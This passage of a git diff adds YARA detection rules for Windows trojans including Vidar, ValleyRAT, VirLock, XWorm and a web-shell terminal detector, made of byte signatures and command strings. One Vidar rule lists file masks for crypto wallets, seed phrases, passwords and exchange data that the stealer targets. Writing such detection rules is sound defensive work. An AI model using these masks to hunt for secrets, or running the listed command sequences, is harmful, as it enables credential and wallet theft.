+ $a_01_1 = {83 4c 24 10 ff c7 44 24 34 18 21 40 00 c7 44 24 38 28 21 40 00 89 74 24 3c 89 74 24 20 89 74 24 14 } //10 + $a_01_2 = {32 1d 32 25 32 4a 32 5a 32 6a 32 } //1 + $a_01_3 = {43 3a 5c 54 45 4d 50 5c 67 66 66 6f 73 2e 65 78 65 } //1 C:\TEMP\gffos.exe + condition: + ((#a_03_0 & 1)*20+(#a_01_1 & 1)*10+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=32 + +} \ No newline at end of file diff --git a/Trojan/Win32/Upatre/Trojan_Win32_Upatre_PGU_MTB.yar b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_PGU_MTB.yar new file mode 100644 index 0000000000..70ba28230f --- /dev/null +++ b/Trojan/Win32/Upatre/Trojan_Win32_Upatre_PGU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Upatre_PGU_MTB{ + meta: + description = "Trojan:Win32/Upatre.PGU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {45 40 40 68 ?? ?? ?? ?? ff 00 6a 40 40 40 00 89 ?? ?? ?? ?? ff 40 40 30 68 6a 15 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/VBClone/Trojan_Win32_VBClone_CCJZ_MTB.yar b/Trojan/Win32/VBClone/Trojan_Win32_VBClone_CCJZ_MTB.yar new file mode 100644 index 0000000000..f2d14e1fc3 --- /dev/null +++ b/Trojan/Win32/VBClone/Trojan_Win32_VBClone_CCJZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_VBClone_CCJZ_MTB{ + meta: + description = "Trojan:Win32/VBClone.CCJZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {ff cc 31 00 04 8c 2d 5b 5e b1 87 3b 43 99 } //6 + $a_01_1 = {ba 62 3a 4f ad 33 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 } //4 + condition: + ((#a_01_0 & 1)*6+(#a_01_1 & 1)*4) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/ValleyRAT/Trojan_Win32_ValleyRat_AVE_MTB.yar b/Trojan/Win32/ValleyRAT/Trojan_Win32_ValleyRat_AVE_MTB.yar new file mode 100644 index 0000000000..0ce21ef8a2 --- /dev/null +++ b/Trojan/Win32/ValleyRAT/Trojan_Win32_ValleyRat_AVE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ValleyRat_AVE_MTB{ + meta: + description = "Trojan:Win32/ValleyRat.AVE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {53 83 ec 1c 8b 45 08 8b 58 04 8b 30 c7 44 24 0c ?? ?? ?? ?? c7 44 24 08 ?? ?? ?? ?? 8b 03 c7 04 24 ?? ?? ?? ?? 89 44 24 04 ff 15 ?? ?? ?? ?? 8b 0b 89 c7 83 ec 10 f3 a4 ff d0 8d 65 f4 31 c0 5b } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ValleyRAT/Trojan_Win32_ValleyRat_AVY_MTB.yar b/Trojan/Win32/ValleyRAT/Trojan_Win32_ValleyRat_AVY_MTB.yar new file mode 100644 index 0000000000..2b231bc75c --- /dev/null +++ b/Trojan/Win32/ValleyRAT/Trojan_Win32_ValleyRat_AVY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ValleyRat_AVY_MTB{ + meta: + description = "Trojan:Win32/ValleyRat.AVY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {c6 45 a8 49 c6 45 a9 6e c6 45 aa 74 c6 45 ab 65 c6 45 ac 72 c6 45 ad 6e c6 45 ae 65 c6 45 af 74 c6 45 b0 4f c6 45 b1 70 c6 45 b2 65 c6 45 b3 6e c6 45 b4 41 c6 45 b5 00 c6 45 94 49 c6 45 95 6e c6 45 96 74 c6 45 97 65 c6 45 98 72 c6 45 99 6e c6 45 9a 65 c6 45 9b 74 c6 45 9c 43 c6 45 9d 6f c6 45 9e 6e c6 45 9f 6e c6 45 a0 65 c6 45 a1 63 c6 45 a2 74 c6 45 a3 41 c6 45 a4 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/ValleyRAT/Trojan_Win32_ValleyRat_PCO_MTB.yar b/Trojan/Win32/ValleyRAT/Trojan_Win32_ValleyRat_PCO_MTB.yar new file mode 100644 index 0000000000..0238349203 --- /dev/null +++ b/Trojan/Win32/ValleyRAT/Trojan_Win32_ValleyRat_PCO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_ValleyRat_PCO_MTB{ + meta: + description = "Trojan:Win32/ValleyRat.PCO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {0f b6 54 0d f4 0f b6 1c 38 2b da 81 e3 ff 00 00 80 79 08 4b 81 cb 00 ff ff ff 43 41 88 1c 38 40 83 e1 07 3b c6 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AD_MTB.yar b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AD_MTB.yar new file mode 100644 index 0000000000..c9b7362084 --- /dev/null +++ b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Vidar_AD_MTB{ + meta: + description = "Trojan:Win32/Vidar.AD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 80 f2 ff 41 20 f2 41 88 fb 41 80 f3 ff 40 88 de 44 20 de 80 f3 ff 40 20 df 40 08 fe 45 88 d3 41 20 f3 41 30 f2 45 08 d3 41 f6 c3 01 b8 37 89 da 81 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AEL_MTB.yar b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AEL_MTB.yar new file mode 100644 index 0000000000..8fb8141eb8 --- /dev/null +++ b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AEL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Vidar_AEL_MTB{ + meta: + description = "Trojan:Win32/Vidar.AEL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 cb 0f b6 c1 88 8d ?? ?? ff ff 8d 8d cc fe ff ff 03 c8 0f b6 01 88 02 88 19 0f b6 02 8b 8d bc fe ff ff 02 c3 0f b6 c0 0f b6 84 05 cc fe ff ff 30 04 0e 46 8a 8d cb fe ff ff 3b f7 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AE_MTB.yar b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AE_MTB.yar new file mode 100644 index 0000000000..d54b3b0004 --- /dev/null +++ b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Vidar_AE_MTB{ + meta: + description = "Trojan:Win32/Vidar.AE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {46 d1 da 59 47 89 46 04 c7 a0 8c 6b 73 94 1b 53 1b 1c 7c 7d d4 52 94 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AR_MTB.yar b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AR_MTB.yar new file mode 100644 index 0000000000..e68bacf2ca --- /dev/null +++ b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_AR_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Vidar_AR_MTB{ + meta: + description = "Trojan:Win32/Vidar.AR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {32 0e 32 c8 8b 45 a0 40 88 0e 89 45 a0 3b 45 } //3 + $a_01_1 = {f7 e1 8b d8 8b 44 24 08 f7 64 24 14 03 d8 8b 44 24 08 f7 e1 03 d3 5b } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Vidar/Trojan_Win32_Vidar_EAAQ_MTB.yar b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_EAAQ_MTB.yar new file mode 100644 index 0000000000..cbd2491e99 --- /dev/null +++ b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_EAAQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Vidar_EAAQ_MTB{ + meta: + description = "Trojan:Win32/Vidar.EAAQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {6b 14 24 0c 01 d1 89 41 08 8b 04 24 83 c0 01 89 04 24 } //2 + $a_02_1 = {83 c4 0c 01 ef 89 bc 9e 44 1e 00 00 0f b6 0c 9d ?? ?? ?? ?? bd 01 00 00 00 d3 e5 8b 04 24 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_02_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Vidar/Trojan_Win32_Vidar_EB_MTB.yar b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_EB_MTB.yar new file mode 100644 index 0000000000..cae9c2ef81 --- /dev/null +++ b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_EB_MTB.yar @@ -0,0 +1,49 @@ + +rule Trojan_Win32_Vidar_EB_MTB{ + meta: + description = "Trojan:Win32/Vidar.EB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,27 00 27 00 27 00 00 " + + strings : + $a_81_0 = {2a 77 61 6c 6c 65 74 2a 2e 2a } //1 *wallet*.* + $a_81_1 = {2a 73 65 65 64 2a 2e 2a } //1 *seed*.* + $a_81_2 = {2a 62 74 63 2a 2e 2a } //1 *btc*.* + $a_81_3 = {2a 6b 65 79 2a 2e 2a } //1 *key*.* + $a_81_4 = {2a 32 66 61 2a 2e 2a } //1 *2fa*.* + $a_81_5 = {2a 63 72 79 70 74 6f 2a 2e 2a } //1 *crypto*.* + $a_81_6 = {2a 63 6f 69 6e 2a 2e 2a } //1 *coin*.* + $a_81_7 = {2a 70 72 69 76 61 74 65 2a 2e 2a } //1 *private*.* + $a_81_8 = {2a 61 75 74 68 2a 2e 2a } //1 *auth*.* + $a_81_9 = {2a 6c 65 64 67 65 72 2a 2e 2a } //1 *ledger*.* + $a_81_10 = {2a 74 72 65 7a 6f 72 2a 2e 2a } //1 *trezor*.* + $a_81_11 = {2a 70 61 73 73 2a 2e 2a } //1 *pass*.* + $a_81_12 = {2a 77 61 6c 2a 2e 2a } //1 *wal*.* + $a_81_13 = {2a 75 70 62 69 74 2a 2e 2a } //1 *upbit*.* + $a_81_14 = {2a 62 63 65 78 2a 2e 2a } //1 *bcex*.* + $a_81_15 = {2a 62 69 74 68 69 6d 62 2a 2e 2a } //1 *bithimb*.* + $a_81_16 = {2a 68 69 74 62 74 63 2a 2e 2a } //1 *hitbtc*.* + $a_81_17 = {2a 62 69 74 66 6c 79 65 72 2a 2e 2a } //1 *bitflyer*.* + $a_81_18 = {2a 6b 75 63 6f 69 6e 2a 2e 2a } //1 *kucoin*.* + $a_81_19 = {2a 68 75 6f 62 69 2a 2e 2a } //1 *huobi*.* + $a_81_20 = {2a 70 6f 6c 6f 6e 69 65 78 2a 2e 2a } //1 *poloniex*.* + $a_81_21 = {2a 6b 72 61 6b 65 6e 2a 2e 2a } //1 *kraken*.* + $a_81_22 = {2a 6f 6b 65 78 2a 2e 2a } //1 *okex*.* + $a_81_23 = {2a 62 69 6e 61 6e 63 65 2a 2e 2a } //1 *binance*.* + $a_81_24 = {2a 62 69 74 66 69 6e 65 78 2a 2e 2a } //1 *bitfinex*.* + $a_81_25 = {2a 67 64 61 78 2a 2e 2a } //1 *gdax*.* + $a_81_26 = {2a 65 74 68 65 72 65 75 6d 2a 2e 2a } //1 *ethereum*.* + $a_81_27 = {2a 65 78 6f 64 75 73 2a 2e 2a } //1 *exodus*.* + $a_81_28 = {2a 6d 65 74 61 6d 61 73 6b 2a 2e 2a } //1 *metamask*.* + $a_81_29 = {2a 6d 79 65 74 68 65 72 77 61 6c 6c 65 74 2a 2e 2a } //1 *myetherwallet*.* + $a_81_30 = {2a 65 6c 65 63 74 72 75 6d 2a 2e 2a } //1 *electrum*.* + $a_81_31 = {2a 62 69 74 63 6f 69 6e 2a 2e 2a } //1 *bitcoin*.* + $a_81_32 = {2a 62 6c 6f 63 6b 63 68 61 69 6e 2a 2e 2a } //1 *blockchain*.* + $a_81_33 = {2a 63 6f 69 6e 6f 6d 69 2a 2e 2a } //1 *coinomi*.* + $a_81_34 = {2a 77 6f 72 64 73 2a 2e 2a } //1 *words*.* + $a_81_35 = {2a 6d 65 74 61 2a 2e 2a } //1 *meta*.* + $a_81_36 = {2a 6d 61 73 6b 2a 2e 2a } //1 *mask*.* + $a_81_37 = {2a 65 74 68 2a 2e 2a } //1 *eth*.* + $a_81_38 = {2a 72 65 63 6f 76 65 72 79 2a 2e 2a } //1 *recovery*.* + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1+(#a_81_16 & 1)*1+(#a_81_17 & 1)*1+(#a_81_18 & 1)*1+(#a_81_19 & 1)*1+(#a_81_20 & 1)*1+(#a_81_21 & 1)*1+(#a_81_22 & 1)*1+(#a_81_23 & 1)*1+(#a_81_24 & 1)*1+(#a_81_25 & 1)*1+(#a_81_26 & 1)*1+(#a_81_27 & 1)*1+(#a_81_28 & 1)*1+(#a_81_29 & 1)*1+(#a_81_30 & 1)*1+(#a_81_31 & 1)*1+(#a_81_32 & 1)*1+(#a_81_33 & 1)*1+(#a_81_34 & 1)*1+(#a_81_35 & 1)*1+(#a_81_36 & 1)*1+(#a_81_37 & 1)*1+(#a_81_38 & 1)*1) >=39 + +} \ No newline at end of file diff --git a/Trojan/Win32/Vidar/Trojan_Win32_Vidar_YAT_MTB.yar b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_YAT_MTB.yar new file mode 100644 index 0000000000..46d6f69247 --- /dev/null +++ b/Trojan/Win32/Vidar/Trojan_Win32_Vidar_YAT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Vidar_YAT_MTB{ + meta: + description = "Trojan:Win32/Vidar.YAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {03 fd 81 f2 ?? ?? ?? ?? 03 f0 2b d5 87 c7 f7 d6 87 f0 33 fe c1 c8 } //1 + $a_03_1 = {2b f9 31 05 ?? ?? ?? ?? 33 d0 c1 c7 0a 8b fe } //10 + condition: + ((#a_03_0 & 1)*1+(#a_03_1 & 1)*10) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/Vilsel/Trojan_Win32_Vilsel_GZZ_MTB.yar b/Trojan/Win32/Vilsel/Trojan_Win32_Vilsel_GZZ_MTB.yar new file mode 100644 index 0000000000..87db4bc991 --- /dev/null +++ b/Trojan/Win32/Vilsel/Trojan_Win32_Vilsel_GZZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Vilsel_GZZ_MTB{ + meta: + description = "Trojan:Win32/Vilsel.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {5a 09 1b 28 d1 5d 21 68 2d b7 b7 34 6c 40 c0 0e da 80 ad ?? ?? ?? ?? fe a7 ad e1 ad 2b 03 71 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/VirLock/Trojan_Win32_VirLock_SK_MTB.yar b/Trojan/Win32/VirLock/Trojan_Win32_VirLock_SK_MTB.yar index b469cc1f89..6403d7f4a9 100644 --- a/Trojan/Win32/VirLock/Trojan_Win32_VirLock_SK_MTB.yar +++ b/Trojan/Win32/VirLock/Trojan_Win32_VirLock_SK_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_Win32_VirLock_SK_MTB{ + meta: + description = "Trojan:Win32/VirLock.SK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {8a 06 90 32 c2 90 e9 00 00 00 00 } //2 + $a_01_1 = {88 07 42 46 90 47 49 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} +rule Trojan_Win32_VirLock_SK_MTB_2{ meta: description = "Trojan:Win32/VirLock.SK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " diff --git a/Trojan/Win32/VirLock/Trojan_Win32_Virlock_ARAX_MTB.yar b/Trojan/Win32/VirLock/Trojan_Win32_Virlock_ARAX_MTB.yar new file mode 100644 index 0000000000..8ea9070b0d --- /dev/null +++ b/Trojan/Win32/VirLock/Trojan_Win32_Virlock_ARAX_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win32_Virlock_ARAX_MTB{ + meta: + description = "Trojan:Win32/Virlock.ARAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {8a 06 32 c2 90 e9 } //2 + $a_01_1 = {88 07 42 90 46 47 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} +rule Trojan_Win32_Virlock_ARAX_MTB_2{ + meta: + description = "Trojan:Win32/Virlock.ARAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {8a 06 32 c2 e9 ?? 00 00 00 } //2 + $a_01_1 = {88 07 46 90 47 } //2 + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/VirLock/Trojan_Win32_Virlock_LMX_MTB.yar b/Trojan/Win32/VirLock/Trojan_Win32_Virlock_LMX_MTB.yar new file mode 100644 index 0000000000..f46bb273ac --- /dev/null +++ b/Trojan/Win32/VirLock/Trojan_Win32_Virlock_LMX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Virlock_LMX_MTB{ + meta: + description = "Trojan:Win32/Virlock.LMX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8a 06 90 32 c2 88 07 42 46 90 47 90 49 90 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/VirLock/Trojan_Win32_Virlock_NV_MTB.yar b/Trojan/Win32/VirLock/Trojan_Win32_Virlock_NV_MTB.yar index 5f77d1ebcc..d1d08ee3a8 100644 --- a/Trojan/Win32/VirLock/Trojan_Win32_Virlock_NV_MTB.yar +++ b/Trojan/Win32/VirLock/Trojan_Win32_Virlock_NV_MTB.yar @@ -1,5 +1,16 @@ rule Trojan_Win32_Virlock_NV_MTB{ + meta: + description = "Trojan:Win32/Virlock.NV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {8a 06 32 c2 88 07 42 46 47 49 83 f9 00 0f 85 ed ff ff ff e9 2a 00 00 00 } //2 + $a_03_1 = {89 07 8b f8 8b df b9 ?? 03 00 00 ba ?? 00 00 00 e9 be ff ff ff } //1 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} +rule Trojan_Win32_Virlock_NV_MTB_2{ meta: description = "Trojan:Win32/Virlock.NV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " diff --git a/Trojan/Win32/VirLock/Trojan_Win32_Virlock_SL_MTB.yar b/Trojan/Win32/VirLock/Trojan_Win32_Virlock_SL_MTB.yar new file mode 100644 index 0000000000..19447d03c7 --- /dev/null +++ b/Trojan/Win32/VirLock/Trojan_Win32_Virlock_SL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Virlock_SL_MTB{ + meta: + description = "Trojan:Win32/Virlock.SL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_01_0 = {8a 06 90 32 c2 88 07 90 e9 c5 ff ff ff } //2 + $a_01_1 = {42 46 47 90 49 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Vundo/Trojan_Win32_Vundo_AHB_MTB.yar b/Trojan/Win32/Vundo/Trojan_Win32_Vundo_AHB_MTB.yar new file mode 100644 index 0000000000..2734bba4fc --- /dev/null +++ b/Trojan/Win32/Vundo/Trojan_Win32_Vundo_AHB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Vundo_AHB_MTB{ + meta: + description = "Trojan:Win32/Vundo.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_01_0 = {c1 e1 08 0f b6 d4 0f b6 85 32 fb ff ff 03 ca 0f b6 95 33 fb ff ff c1 e1 08 03 c8 c1 e1 08 03 ca 89 4e fe 83 c4 0c 83 c6 08 83 ef 01 0f 85 } //10 + $a_01_1 = {03 d3 c1 fa 03 8b c2 c1 e8 1f 03 c2 8b c8 c1 e1 04 2b c8 8b d3 2b d1 0f be 8c 15 34 ff ff ff 8d b4 15 34 ff ff ff b8 } //5 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win32/Wabot/Trojan_Win32_Wabot_SCP_MTB.yar b/Trojan/Win32/Wabot/Trojan_Win32_Wabot_SCP_MTB.yar new file mode 100644 index 0000000000..6d4df446ca --- /dev/null +++ b/Trojan/Win32/Wabot/Trojan_Win32_Wabot_SCP_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Wabot_SCP_MTB{ + meta: + description = "Trojan:Win32/Wabot.SCP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 00 " + + strings : + $a_01_0 = {2e 72 73 72 63 00 00 00 58 15 00 00 00 90 01 00 00 16 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 e0 78 00 00 b0 01 00 00 28 03 00 00 b6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 } //3 + $a_01_1 = {67 56 61 49 6c b2 bb 4e 1a 93 7a 65 bc 9c f4 f5 58 93 78 f5 ce 83 89 7d 32 62 d3 c3 ec 2c b1 b9 69 d2 4c 73 79 bc bb 61 2b 8b eb 1e 0c c9 ae 29 99 c1 3c 76 0e 8c 79 6f 52 62 e1 0b } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/WebShellTerminal/Trojan_Win32_WebShellTerminal_B.yar b/Trojan/Win32/WebShellTerminal/Trojan_Win32_WebShellTerminal_B.yar index f5e079fda0..40bf93b06b 100644 --- a/Trojan/Win32/WebShellTerminal/Trojan_Win32_WebShellTerminal_B.yar +++ b/Trojan/Win32/WebShellTerminal/Trojan_Win32_WebShellTerminal_B.yar @@ -1,7 +1,7 @@ rule Trojan_Win32_WebShellTerminal_B{ meta: - description = "Trojan:Win32/WebShellTerminal.B,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 06 00 00 " + description = "Trojan:Win32/WebShellTerminal.B,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 07 00 00 " strings : $a_00_0 = {63 00 6d 00 64 00 } //10 cmd @@ -10,7 +10,8 @@ rule Trojan_Win32_WebShellTerminal_B{ $a_02_3 = {65 00 63 00 68 00 6f 00 [0-02] 5b 00 [0-06] 5d 00 [0-02] 26 00 [0-02] 63 00 64 00 [0-02] 26 00 [0-02] 65 00 63 00 68 00 6f 00 [0-02] 5b 00 [0-06] 5d 00 } //1 $a_00_4 = {44 00 69 00 72 00 65 00 63 00 74 00 6f 00 72 00 79 00 3a 00 20 00 26 00 26 00 63 00 64 00 26 00 26 00 65 00 63 00 68 00 6f 00 } //-50 Directory: &&cd&&echo $a_00_5 = {57 00 41 00 52 00 50 00 } //-50 WARP + $a_00_6 = {6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 } //-50 msedgewebview2.exe condition: - ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1+(#a_00_4 & 1)*-50+(#a_00_5 & 1)*-50) >=11 + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1+(#a_00_4 & 1)*-50+(#a_00_5 & 1)*-50+(#a_00_6 & 1)*-50) >=11 } \ No newline at end of file diff --git a/Trojan/Win32/WhoAmiExit/Trojan_Win32_WhoAmiExit_MK.yar b/Trojan/Win32/WhoAmiExit/Trojan_Win32_WhoAmiExit_MK.yar new file mode 100644 index 0000000000..cb53a8c065 --- /dev/null +++ b/Trojan/Win32/WhoAmiExit/Trojan_Win32_WhoAmiExit_MK.yar @@ -0,0 +1,26 @@ + +rule Trojan_Win32_WhoAmiExit_MK{ + meta: + description = "Trojan:Win32/WhoAmiExit.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {77 00 68 00 6f 00 61 00 6d 00 69 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 whoami & exit + $a_00_3 = {62 00 67 00 30 00 36 00 65 00 33 00 39 00 65 00 2d 00 37 00 38 00 37 00 36 00 2d 00 34 00 62 00 61 00 33 00 2d 00 62 00 65 00 65 00 65 00 2d 00 34 00 32 00 62 00 64 00 38 00 30 00 66 00 66 00 33 00 36 00 33 00 70 00 } //-1 bg06e39e-7876-4ba3-beee-42bd80ff363p + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*-1) >=3 + +} +rule Trojan_Win32_WhoAmiExit_MK_2{ + meta: + description = "Trojan:Win32/WhoAmiExit.MK,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {73 00 62 00 5f 00 } //1 sb_ + $a_00_1 = {5f 00 62 00 73 00 20 00 3e 00 6e 00 75 00 6c 00 } //1 _bs >nul + $a_00_2 = {77 00 68 00 6f 00 61 00 6d 00 69 00 20 00 26 00 20 00 65 00 78 00 69 00 74 00 } //1 whoami & exit + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/XWorm/Trojan_Win32_XWorm_AHB_MTB.yar b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_AHB_MTB.yar new file mode 100644 index 0000000000..f934ce6208 --- /dev/null +++ b/Trojan/Win32/XWorm/Trojan_Win32_XWorm_AHB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_XWorm_AHB_MTB{ + meta: + description = "Trojan:Win32/XWorm.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 00 " + + strings : + $a_01_0 = {0f b6 50 1b 8b 74 24 30 80 f1 e7 80 f2 78 88 4c 24 1e 0f b6 48 1c 88 54 24 1f 0f b6 50 1d 80 f1 98 80 f2 e9 88 4c 24 20 0f b6 48 1e 88 54 24 21 0f b6 50 1f } //10 + $a_03_1 = {50 57 57 ff 15 ?? ?? ?? 00 85 c0 74 0c c7 05 ?? ?? ?? 00 01 00 00 00 eb 15 ff 15 ?? ?? ?? 00 83 f8 78 75 0a c7 05 ?? ?? ?? 00 02 00 00 00 } //5 + $a_01_2 = {0b 0b 0b 83 74 74 74 f8 b9 b9 b9 ff 00 73 e1 ff 00 7f f9 ff 00 7f f9 ff 00 49 f7 ff 00 49 f7 ff 00 49 f7 ff 00 49 f7 ff 00 16 f5 ff 00 16 f5 ff 00 04 f3 ff 00 04 f3 ff 00 04 f3 ff 00 00 f2 ff 00 00 f2 ff 00 00 f2 ff 00 00 f0 ff 00 00 f0 ff } //5 + condition: + ((#a_01_0 & 1)*10+(#a_03_1 & 1)*5+(#a_01_2 & 1)*5) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win32/XWorm/Trojan_Win32_XWorm_BAA_MTB.yar 